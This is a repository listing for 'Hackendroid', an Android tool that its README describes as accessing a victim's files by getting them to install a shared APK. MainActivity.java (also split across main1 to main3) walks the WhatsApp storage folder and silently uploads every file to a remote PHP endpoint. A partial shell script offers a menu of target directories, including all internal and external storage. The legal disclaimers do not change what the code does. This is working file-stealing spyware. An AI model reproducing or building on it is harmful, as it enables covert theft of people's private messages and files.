├── README.md ├── app ├── app │ ├── build.gradle │ ├── libs │ │ ├── activation.jar │ │ ├── additionnal.jar │ │ ├── commons-collections4-4.2.jar │ │ └── commons-io-2.6.jar │ ├── proguard-rules.pro │ └── src │ │ └── main │ │ ├── AndroidManifest.xml │ │ ├── java │ │ └── com │ │ │ └── droidfiles │ │ │ └── MainActivity.java │ │ └── res │ │ ├── drawable │ │ ├── arrow.png │ │ ├── backspace.png │ │ ├── downleft.png │ │ ├── keyback.xml │ │ └── up.png │ │ ├── layout │ │ └── activity_main.xml │ │ ├── mipmap-hdpi │ │ └── ic_launcher.png │ │ ├── mipmap-mdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxhdpi │ │ └── ic_launcher.png │ │ ├── mipmap-xxxhdpi │ │ └── ic_launcher.png │ │ └── values │ │ └── strings.xml ├── build.gradle ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── key.keystore ├── main1 ├── main2 ├── main3 └── settings.gradle ├── hackendroid.sh ├── image.png ├── php.ini └── upload_files.php /README.md: -------------------------------------------------------------------------------- 1 | # finder v1.2 2 | 3 | Hackendroid is a tool to access the files of any android device like WhatsApp, downloads, etc (or any external or internal storage files) by sharing the apk with the victim. 4 | 5 | ## Instagram: https://instagram.com/programemerz 6 | 7 | ![](image.png) 8 | 9 | ### Features: 10 | 11 | #### Works on every android device 12 | #### Auto detect device 13 | #### Access any external or internal storage files 14 | 15 | ## Legal disclaimer: 16 | 17 | Usage of Hackendroid for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. 18 | 19 | ### Usage: 20 | ``` 21 | git clone https://github.com/programemerz/hackendroid 22 | cd hackendroid 23 | bash hackendroid 24 | ``` 25 | -------------------------------------------------------------------------------- /app/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 29 5 | buildToolsVersion "28.0.3" 6 | defaultConfig { 7 | applicationId "com.droidfiles" 8 | minSdkVersion 16 9 | targetSdkVersion 29 10 | versionCode 1 11 | versionName "1.0" 12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | } 21 | android { 22 | lintOptions { 23 | abortOnError false 24 | } 25 | } 26 | 27 | dependencies { 28 | implementation fileTree(include: ['*.jar'], dir: 'libs') 29 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { 30 | exclude group: 'com.android.support', module: 'support-annotations' 31 | }) 32 | implementation 'com.android.support:appcompat-v7:25.4.0' 33 | testImplementation 'junit:junit:4.12' 34 | compile files('libs/activation.jar') 35 | compile files('libs/additionnal.jar') 36 | compile files('libs/commons-collections4-4.2.jar') 37 | compile files('libs/commons-io-2.6.jar') 38 | 39 | implementation 'com.android.support:cardview-v7:25.4.0' 40 | } 41 | -------------------------------------------------------------------------------- /app/app/libs/activation.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/libs/activation.jar -------------------------------------------------------------------------------- /app/app/libs/additionnal.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/libs/additionnal.jar -------------------------------------------------------------------------------- /app/app/libs/commons-collections4-4.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/libs/commons-collections4-4.2.jar -------------------------------------------------------------------------------- /app/app/libs/commons-io-2.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/libs/commons-io-2.6.jar -------------------------------------------------------------------------------- /app/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | #proguard-rules 2 | -------------------------------------------------------------------------------- /app/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /app/app/src/main/java/com/droidfiles/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.droidfiles; 2 | import android.content.pm.PackageManager; 3 | import android.app.Activity; 4 | import android.support.v4.app.ActivityCompat; 5 | import android.support.v4.content.ContextCompat; 6 | import android.support.v7.app.AppCompatActivity; 7 | import java.io.DataInputStream; 8 | import java.io.DataOutputStream; 9 | import java.io.File; 10 | import java.io.FileInputStream; 11 | import java.io.IOException; 12 | import java.net.HttpURLConnection; 13 | import java.net.URL; 14 | import android.annotation.SuppressLint; 15 | import android.app.Activity; 16 | import android.content.Intent; 17 | import android.net.Uri; 18 | import android.os.Bundle; 19 | import android.os.StrictMode; 20 | import android.util.Log; 21 | import android.view.Menu; 22 | import android.view.MenuItem; 23 | import android.widget.Toast; 24 | import org.apache.commons.io.FileUtils; 25 | import org.apache.commons.io.filefilter.TrueFileFilter; 26 | import java.io.FileFilter; 27 | import java.io.IOException; 28 | import java.util.List; 29 | import android.os.Environment; 30 | 31 | @SuppressLint("NewApi") 32 | public class MainActivity extends Activity 33 | { 34 | @Override 35 | protected void onCreate(Bundle savedInstanceState) 36 | { 37 | super.onCreate(savedInstanceState); 38 | setContentView(R.layout.activity_main); 39 | StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build(); 40 | StrictMode.setThreadPolicy(policy); 41 | 42 | try { 43 | checkperm(); 44 | } catch (Exception e) { 45 | } 46 | } 47 | 48 | // 49 | public String getSDCardDirectory(){ 50 | String SdcardPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM).toString(); 51 | String dirSD = SdcardPath.substring(SdcardPath.lastIndexOf('/') + 1); 52 | System.out.println(dirSD); 53 | String[] trimmed = SdcardPath.split(dirSD); 54 | String sdcardPath = trimmed[0]; 55 | System.out.println(sdcardPath); 56 | return sdcardPath; 57 | } 58 | // 59 | 60 | public void checkperm() { 61 | if(ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.WRITE_EXTERNAL_STORAGE") == PackageManager.PERMISSION_GRANTED) { 62 | 63 | // 64 | 65 | File dir3 = new File("/storage/emulated/0/WhatsApp"); 66 | List files3 = (List) FileUtils.listFiles(dir3, 67 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE); 68 | for (File file : files3) { 69 | try { 70 | String path3 = file.getCanonicalPath(); 71 | upload(path3); 72 | } catch (Exception e) { 73 | } 74 | } 75 | // 76 | 77 | } else { 78 | final int REQUEST_CODE_ASK_PERMISSIONS = 123; 79 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, REQUEST_CODE_ASK_PERMISSIONS); 80 | checkperm(); 81 | } 82 | } 83 | public void upload(String selectedPath) throws Exception { 84 | HttpURLConnection connection = null; 85 | DataOutputStream outputStream = null; 86 | DataInputStream inputStream = null; 87 | String pathToOurFile = selectedPath; 88 | 89 | String urlServer = "http://localhost:4444/upload_files.php"; 90 | String lineEnd = "\r\n"; 91 | String twoHyphens = "--"; 92 | String boundary = "*****"; 93 | int bytesRead, bytesAvailable, bufferSize; 94 | byte[] buffer; 95 | int maxBufferSize = 1 * 1024 * 1024; 96 | FileInputStream fileInputStream = new FileInputStream(new File( 97 | pathToOurFile)); 98 | URL url = new URL(urlServer); 99 | connection = (HttpURLConnection) url.openConnection(); 100 | connection.setDoInput(true); 101 | connection.setDoOutput(true); 102 | connection.setUseCaches(false); 103 | connection.setRequestMethod("POST"); 104 | connection.setRequestProperty("Connection", "Keep-Alive"); 105 | connection.setRequestProperty("Content-Type", 106 | "multipart/form-data;boundary=" + boundary); 107 | outputStream = new DataOutputStream(connection.getOutputStream()); 108 | outputStream.writeBytes(twoHyphens + boundary + lineEnd); 109 | outputStream 110 | .writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" 111 | + pathToOurFile + "\"" + lineEnd); 112 | outputStream.writeBytes(lineEnd); 113 | bytesAvailable = fileInputStream.available(); 114 | bufferSize = Math.min(bytesAvailable, maxBufferSize); 115 | buffer = new byte[bufferSize]; 116 | bytesRead = fileInputStream.read(buffer, 0, bufferSize); 117 | while (bytesRead > 0) { 118 | outputStream.write(buffer, 0, bufferSize); 119 | bytesAvailable = fileInputStream.available(); 120 | bufferSize = Math.min(bytesAvailable, maxBufferSize); 121 | bytesRead = fileInputStream.read(buffer, 0, bufferSize); 122 | } 123 | outputStream.writeBytes(lineEnd); 124 | outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); 125 | int serverResponseCode = connection.getResponseCode(); 126 | String serverResponseMessage = connection.getResponseMessage(); 127 | fileInputStream.close(); 128 | outputStream.flush(); 129 | outputStream.close(); 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/drawable/arrow.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/backspace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/drawable/backspace.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/downleft.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/drawable/downleft.png -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/keyback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /app/app/src/main/res/drawable/up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/drawable/up.png -------------------------------------------------------------------------------- /app/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | App 3 | Hello! 4 | Settings 5 | MainActivity 6 | 7 | 8 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | repositories { 5 | jcenter() 6 | maven { 7 | url 'https://maven.google.com/' 8 | name 'Google' 9 | } 10 | } 11 | dependencies { 12 | classpath 'com.android.tools.build:gradle:3.6.3' 13 | 14 | // NOTE: Do not place your application dependencies here; they belong 15 | // in the individual module build.gradle files 16 | } 17 | } 18 | 19 | allprojects { 20 | repositories { 21 | jcenter() 22 | maven { 23 | url 'https://maven.google.com/' 24 | name 'Google' 25 | } 26 | } 27 | } 28 | 29 | task clean(type: Delete) { 30 | delete rootProject.buildDir 31 | } 32 | -------------------------------------------------------------------------------- /app/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sat May 02 09:36:48 EDT 2020 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-5.6.4-all.zip 7 | -------------------------------------------------------------------------------- /app/gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 10 | DEFAULT_JVM_OPTS="" 11 | 12 | APP_NAME="Gradle" 13 | APP_BASE_NAME=`basename "$0"` 14 | 15 | # Use the maximum available, or set MAX_FD != -1 to use that value. 16 | MAX_FD="maximum" 17 | 18 | warn ( ) { 19 | echo "$*" 20 | } 21 | 22 | die ( ) { 23 | echo 24 | echo "$*" 25 | echo 26 | exit 1 27 | } 28 | 29 | # OS specific support (must be 'true' or 'false'). 30 | cygwin=false 31 | msys=false 32 | darwin=false 33 | case "`uname`" in 34 | CYGWIN* ) 35 | cygwin=true 36 | ;; 37 | Darwin* ) 38 | darwin=true 39 | ;; 40 | MINGW* ) 41 | msys=true 42 | ;; 43 | esac 44 | 45 | # Attempt to set APP_HOME 46 | # Resolve links: $0 may be a link 47 | PRG="$0" 48 | # Need this for relative symlinks. 49 | while [ -h "$PRG" ] ; do 50 | ls=`ls -ld "$PRG"` 51 | link=`expr "$ls" : '.*-> \(.*\)$'` 52 | if expr "$link" : '/.*' > /dev/null; then 53 | PRG="$link" 54 | else 55 | PRG=`dirname "$PRG"`"/$link" 56 | fi 57 | done 58 | SAVED="`pwd`" 59 | cd "`dirname \"$PRG\"`/" >/dev/null 60 | APP_HOME="`pwd -P`" 61 | cd "$SAVED" >/dev/null 62 | 63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 64 | 65 | # Determine the Java command to use to start the JVM. 66 | if [ -n "$JAVA_HOME" ] ; then 67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 68 | # IBM's JDK on AIX uses strange locations for the executables 69 | JAVACMD="$JAVA_HOME/jre/sh/java" 70 | else 71 | JAVACMD="$JAVA_HOME/bin/java" 72 | fi 73 | if [ ! -x "$JAVACMD" ] ; then 74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 75 | 76 | Please set the JAVA_HOME variable in your environment to match the 77 | location of your Java installation." 78 | fi 79 | else 80 | JAVACMD="java" 81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 82 | 83 | Please set the JAVA_HOME variable in your environment to match the 84 | location of your Java installation." 85 | fi 86 | 87 | # Increase the maximum file descriptors if we can. 88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then 89 | MAX_FD_LIMIT=`ulimit -H -n` 90 | if [ $? -eq 0 ] ; then 91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 92 | MAX_FD="$MAX_FD_LIMIT" 93 | fi 94 | ulimit -n $MAX_FD 95 | if [ $? -ne 0 ] ; then 96 | warn "Could not set maximum file descriptor limit: $MAX_FD" 97 | fi 98 | else 99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 100 | fi 101 | fi 102 | 103 | # For Darwin, add options to specify how the application appears in the dock 104 | if $darwin; then 105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 106 | fi 107 | 108 | # For Cygwin, switch paths to Windows format before running java 109 | if $cygwin ; then 110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 112 | JAVACMD=`cygpath --unix "$JAVACMD"` 113 | 114 | # We build the pattern for arguments to be converted via cygpath 115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 116 | SEP="" 117 | for dir in $ROOTDIRSRAW ; do 118 | ROOTDIRS="$ROOTDIRS$SEP$dir" 119 | SEP="|" 120 | done 121 | OURCYGPATTERN="(^($ROOTDIRS))" 122 | # Add a user-defined pattern to the cygpath arguments 123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 125 | fi 126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 127 | i=0 128 | for arg in "$@" ; do 129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 131 | 132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 134 | else 135 | eval `echo args$i`="\"$arg\"" 136 | fi 137 | i=$((i+1)) 138 | done 139 | case $i in 140 | (0) set -- ;; 141 | (1) set -- "$args0" ;; 142 | (2) set -- "$args0" "$args1" ;; 143 | (3) set -- "$args0" "$args1" "$args2" ;; 144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 150 | esac 151 | fi 152 | 153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules 154 | function splitJvmOpts() { 155 | JVM_OPTS=("$@") 156 | } 157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS 158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" 159 | 160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" 161 | -------------------------------------------------------------------------------- /app/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /app/key.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/app/key.keystore -------------------------------------------------------------------------------- /app/main1: -------------------------------------------------------------------------------- 1 | package com.droidfiles; 2 | import android.content.pm.PackageManager; 3 | import android.app.Activity; 4 | import android.support.v4.app.ActivityCompat; 5 | import android.support.v4.content.ContextCompat; 6 | import android.support.v7.app.AppCompatActivity; 7 | import java.io.DataInputStream; 8 | import java.io.DataOutputStream; 9 | import java.io.File; 10 | import java.io.FileInputStream; 11 | import java.io.IOException; 12 | import java.net.HttpURLConnection; 13 | import java.net.URL; 14 | import android.annotation.SuppressLint; 15 | import android.app.Activity; 16 | import android.content.Intent; 17 | import android.net.Uri; 18 | import android.os.Bundle; 19 | import android.os.StrictMode; 20 | import android.util.Log; 21 | import android.view.Menu; 22 | import android.view.MenuItem; 23 | import android.widget.Toast; 24 | import org.apache.commons.io.FileUtils; 25 | import org.apache.commons.io.filefilter.TrueFileFilter; 26 | import java.io.FileFilter; 27 | import java.io.IOException; 28 | import java.util.List; 29 | import android.os.Environment; 30 | 31 | @SuppressLint("NewApi") 32 | public class MainActivity extends Activity 33 | { 34 | @Override 35 | protected void onCreate(Bundle savedInstanceState) 36 | { 37 | super.onCreate(savedInstanceState); 38 | setContentView(R.layout.activity_main); 39 | StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build(); 40 | StrictMode.setThreadPolicy(policy); 41 | 42 | try { 43 | checkperm(); 44 | } catch (Exception e) { 45 | } 46 | } 47 | 48 | // 49 | public String getSDCardDirectory(){ 50 | String SdcardPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM).toString(); 51 | String dirSD = SdcardPath.substring(SdcardPath.lastIndexOf('/') + 1); 52 | System.out.println(dirSD); 53 | String[] trimmed = SdcardPath.split(dirSD); 54 | String sdcardPath = trimmed[0]; 55 | System.out.println(sdcardPath); 56 | return sdcardPath; 57 | } 58 | // 59 | 60 | public void checkperm() { 61 | if(ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.WRITE_EXTERNAL_STORAGE") == PackageManager.PERMISSION_GRANTED) { 62 | 63 | // 64 | 65 | -------------------------------------------------------------------------------- /app/main2: -------------------------------------------------------------------------------- 1 | // 2 | 3 | } else { 4 | final int REQUEST_CODE_ASK_PERMISSIONS = 123; 5 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, REQUEST_CODE_ASK_PERMISSIONS); 6 | checkperm(); 7 | } 8 | } 9 | public void upload(String selectedPath) throws Exception { 10 | HttpURLConnection connection = null; 11 | DataOutputStream outputStream = null; 12 | DataInputStream inputStream = null; 13 | String pathToOurFile = selectedPath; 14 | 15 | -------------------------------------------------------------------------------- /app/main3: -------------------------------------------------------------------------------- 1 | String lineEnd = "\r\n"; 2 | String twoHyphens = "--"; 3 | String boundary = "*****"; 4 | int bytesRead, bytesAvailable, bufferSize; 5 | byte[] buffer; 6 | int maxBufferSize = 1 * 1024 * 1024; 7 | FileInputStream fileInputStream = new FileInputStream(new File( 8 | pathToOurFile)); 9 | URL url = new URL(urlServer); 10 | connection = (HttpURLConnection) url.openConnection(); 11 | connection.setDoInput(true); 12 | connection.setDoOutput(true); 13 | connection.setUseCaches(false); 14 | connection.setRequestMethod("POST"); 15 | connection.setRequestProperty("Connection", "Keep-Alive"); 16 | connection.setRequestProperty("Content-Type", 17 | "multipart/form-data;boundary=" + boundary); 18 | outputStream = new DataOutputStream(connection.getOutputStream()); 19 | outputStream.writeBytes(twoHyphens + boundary + lineEnd); 20 | outputStream 21 | .writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" 22 | + pathToOurFile + "\"" + lineEnd); 23 | outputStream.writeBytes(lineEnd); 24 | bytesAvailable = fileInputStream.available(); 25 | bufferSize = Math.min(bytesAvailable, maxBufferSize); 26 | buffer = new byte[bufferSize]; 27 | bytesRead = fileInputStream.read(buffer, 0, bufferSize); 28 | while (bytesRead > 0) { 29 | outputStream.write(buffer, 0, bufferSize); 30 | bytesAvailable = fileInputStream.available(); 31 | bufferSize = Math.min(bytesAvailable, maxBufferSize); 32 | bytesRead = fileInputStream.read(buffer, 0, bufferSize); 33 | } 34 | outputStream.writeBytes(lineEnd); 35 | outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); 36 | int serverResponseCode = connection.getResponseCode(); 37 | String serverResponseMessage = connection.getResponseMessage(); 38 | fileInputStream.close(); 39 | outputStream.flush(); 40 | outputStream.close(); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /app/settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /hackendroid.sh: -------------------------------------------------------------------------------- 1 | dependencies() { 2 | 3 | 4 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; } 5 | 6 | } 7 | 8 | banner() { 9 | 10 | 11 | printf " \e[1;92m _ _ _ _ _ \n" 12 | printf " | | | | | | (_) | |\n" 13 | printf " | |__ _____ ____| | _ _____ ____ __| | ____ ___ _ __| |\n" 14 | printf " | _ \(____ |/ ___) |_/ ) ___ | _ \ / _ |/ ___) _ \| |/ _ |\n" 15 | printf " | | | / ___ ( (___| _ (| ____| | | ( (_| | | | |_| | ( (_| |\n" 16 | printf " |_| |_\_____|\____)_| \_)_____)_| |_|\____|_| \___/|_|\____|\e[0m\n" 17 | 18 | printf "\n" 19 | printf " \e[1;91m Disclaimer: this tool is designed for security\n" 20 | printf " testing in an authorized simulated cyberattack\n" 21 | printf " Attacking targets without prior mutual consent\n" 22 | printf " is illegal!\n\n" 23 | 24 | } 25 | 26 | read_dir() { 27 | 28 | printf "\e[1;77m[\e[0m\e[1;92m01\e[0m\e[1;77m] WhatsApp (/storage/emulated/0/WhatsApp)\e[0m\n" 29 | printf "\e[1;77m[\e[0m\e[1;92m02\e[0m\e[1;77m] Pictures (/storage/emulated/0/Pictures)\e[0m\n" 30 | printf "\e[1;77m[\e[0m\e[1;92m03\e[0m\e[1;77m] Downloads (/storage/emulated/0/Download)\e[0m\n" 31 | printf "\e[1;77m[\e[0m\e[1;92m04\e[0m\e[1;77m] Android (/storage/emulated/0/Android)\e[0m\n" 32 | printf "\e[1;77m[\e[0m\e[1;92m05\e[0m\e[1;77m] Custom\e[0m\n" 33 | printf "\e[1;77m[\e[0m\e[1;92m06\e[0m\e[1;77m]\e[0m\e[1;93m Internal Storage (/storage/emulated/0/)\e[0m\n" 34 | printf "\e[1;77m[\e[0m\e[1;92m07\e[0m\e[1;77m]\e[0m\e[1;31m ALL: External + Internal Storage (/storage/)\e[0m\n" 35 | printf "\n" 36 | printf "\e[1;77m[\e[0m\e[1;93mEnter Key\e[0m\e[1;77m]\e[0m\e[1;93m Continue\e[0m\n" 37 | printf "\n" 38 | internal=0 39 | external=0 40 | whatsapp=0 41 | picture=0 42 | download=0 43 | android=0 44 | custom=0 45 | choose_dir=0 46 | while [[ "$choose_dir" != "" ]]; do 47 | read -p $'\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Choose a dir or Hit Enter to continue: 